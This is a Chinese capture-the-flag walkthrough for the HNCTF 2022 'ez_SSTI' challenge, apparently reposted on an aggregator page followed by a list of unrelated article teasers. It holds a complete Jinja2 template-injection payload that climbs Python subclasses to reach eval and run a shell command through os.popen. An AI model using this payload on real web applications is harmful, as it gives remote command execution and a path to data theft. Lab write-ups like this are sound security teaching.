NSS [HNCTF 2022 WEEK2]ez_SSTI

news2025/1/20 3:37:14

NSS [HNCTF 2022 WEEK2]ez_SSTI

开题,已经提示了是SSTI

image-20230809174535031

参数是name,测试得出模板是jinja2

image-20230809174837972

先跑一下fuzz。字典在我博客CTFshow的SSTI那篇。

看了一下,貌似没过滤。

image-20230809175117205

六种执行命令方式我们选择eval执行命令。其他几种也行。


os._wrap_close类。定位到了137

{{''.__class__.__bases__[0].__subclasses__()}}

image-20230809175427230

image-20230809175438938

payload:(flag在当前目录下)

?name={{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("tac flag").read()')}}

image-20230809175622429

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1064271.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

选择适合户外篷房企业的企业云盘解决方案

“户外篷房企业用什么企业云盘好?Zoho WorkDrive企业网盘可以帮助户外篷房企业实现文档统一管理、提高工作效率、加强团队协作,并且支持各种文件类型的预览和编辑。” S公司是一家注重管理规范的大型户外篷房企业,已经有10余年的经验。作为设…

Cocos Creator3.8 项目实战(五)背景无限滚屏效果如何实现

在游戏中,我们经常会实现背景无限滚动的效果。那这些效果是怎么实现的呢? 原理很简单,就是使用多张背景图,每张图,每一帧都同时移动,当图移出屏幕外时,将其位置设置到下一张图的初始位置&#x…

练[watevrCTF-2019]Cookie Store

[watevrCTF-2019]Cookie Store 文章目录 [watevrCTF-2019]Cookie Store掌握知识解题思路关键paylaod 掌握知识 ​ 抓包放包,set-cookie和cookie的联系,base64编码,cookie请求头 解题思路 打开题目链接,发现响应速度有点慢。发现…

【伪彩色图像处理】将灰度图像转换为彩色图像研究(Matlab代码实现)

💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…

少数人的晚餐-数据

前篇: 少数人的晚餐_zhangrelay的博客-CSDN博客 阅读量惨淡, 2023-07-04 22:48:49 发布 到此文撰写时候,446 补充: 少数人的晚餐-补充-CSDN博客 更加凄惨, 2023-09-28 11:02:23 发布 到此文撰写时候,…

C语言自定义类型_枚举联合(3)

目录 枚举 什么是枚举类型? 枚举的声明 枚举的定义 枚举的优点 枚举的使用 联合(共用体) 什么是联合呢? 联合类型的定义 联合的特点 联合使用 联合大小的计算 联合的应用 今天接着我们来结束自定义类型。&#x1f19…

人工智能(AI)基础知识学习库

人工智能(AI)基础知识学习库 1. AI 算法2. 基础科普3. 数学基础4. 深度学习5. 特征工程6. 机器学习7. 语音交互8. 自然语言处理9. 计算机视觉 声明:此文仅作为个人学习记录 人工智能(AI)基础知识学习库链接&#xff1a…

《Spring Boot入门》

🌷🍁 博主猫头虎(🐅🐾)带您 Go to New World✨🍁 🦄 博客首页——🐅🐾猫头虎的博客🎐 🐳 《面试题大全专栏》 🦕 文章图文…

麻雀搜索算法(SSA)(含MATLAB代码)

先做一个声明:文章是由我的个人公众号中的推送直接复制粘贴而来,因此对智能优化算法感兴趣的朋友,可关注我的个人公众号:启发式算法讨论。我会不定期在公众号里分享不同的智能优化算法,经典的,或者是近几年…

Citespace、vosviewer、R语言文献计量学 、SCI

​文献计量学是指用数学和统计学的方法,定量地分析一切知识载体的交叉科学。它是集数学、统计学、文献学为一体,注重量化的综合性知识体系。特别是,信息可视化技术手段和方法的运用,可直观的展示主题的研究发展历程、研究现状、研…

【AI视野·今日Sound 声学论文速览 第十九期】Thu, 5 Oct 2023

AI视野今日CS.Sound 声学论文速览 Thu, 5 Oct 2023 Totally 13 papers 👉上期速览✈更多精彩请移步主页 Daily Sound Papers Multi-resolution HuBERT: Multi-resolution Speech Self-Supervised Learning with Masked Unit Prediction Authors Jiatong Shi, Hirof…

虫情测报系统——农业害虫的监测解决方案

KH-CQPest虫情测报系统,是以物联网技术、传感器技术、光控技术为基础,针对昆虫害监测和报告的解决方,它能够为农田或果园的昆虫害防护工作提供实时、准确的情报。 虫情测报系统能够通过虫情测报仪的诱虫功能吸引害虫并进行捕获,利…

redis学习(二)——redis常见命令及基础数据类型

数据类型 基础数据类型 字符串 String abcMap集合 Hsah {name:“zhangsan”,age:18}列表 List [a, b, c, d]Set集合 Set {a,b,c}有序Set集合 SortSet {a:1,b:2,c:3} 特殊数据类型 GEO 地理坐标 {A:(100.2,35.1)}BitMap 位图,只存储0和1 01101011101HyperLog 基数…

遵循这些守则,PCB布局就不会差

PCB设计中,首先要做的就是对于PCB布局,它是将整个板子中的元器件进行排布,位置分布,一个好的布局,可以让板子结构清晰,并且在布线的时候也会更加方便与明朗,达到事半功倍的效果。 对于PCB布局&a…

【短文】Linux怎么读取文件大小

2023年10月6日,周五晚上 使用如下命令即可: du -h filenamedu命令在Linux/Unix系统中的英文全称是"disk usage"。即磁盘使用量的意思。 du命令用来显示文件和目录占用磁盘空间的大小。 du命令的巧用: ls | du -h 通过这条命令…

ChatGLM2-6B的通透解析:从FlashAttention、Multi-Query Attention到GLM2的微调、源码解读

前言 本文最初和第一代ChatGLM-6B的内容汇总在一块,但为了阐述清楚FlashAttention、Multi-Query Attention等相关的原理,以及GLM2的微调、源码解读等内容,导致之前那篇文章越写越长,故特把ChatGLM2相关的内容独立抽取出来成本文 …

测试时间不够,你会如何处理?

工作中经常会遇到测试时间不够充分的情况,当测试时间不足的情况下,如何做到不延误测试进度,又能保证测试质量? 1、根据测试目标和需求,确定测试的优先级,首先测试最重要和核心的功能和场景。 确保关键功能…

测试员最爱犯的十个思想问题

1、测试应该找到所有bug,只要线上出现bug就是罪大恶极 测试新人最容易出现此类思想,认为测试就应该发现所有bug,生产环境出现bug就是测试的锅。这种想法不能说完全错误,相反,包括很多不懂行的领导认为这相当正确。但我…

SpringMVC系列-4 参数解析器

背景: 本文作为SpringMVC系列的第四篇,介绍参数解析器。本文讨论的参数解析表示从HTTP消息中解析出JAVA对象或流对象并传参给Controller接口的过程。 本文内容包括介绍参数解析器工作原理、常见的参数解析器、自定义参数解析器等三部分。其中&#xff0…

css实现不规则图片文字环绕效果

依旧,先上效果图,可以看见,文字环绕这个椭圆形的图片, 依旧是遵循开源精神,代码就直接放下面了 (点个赞或者给个评论啥的吧,我就发现我的文章全是光看不点赞,不评论的的) <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8&quo…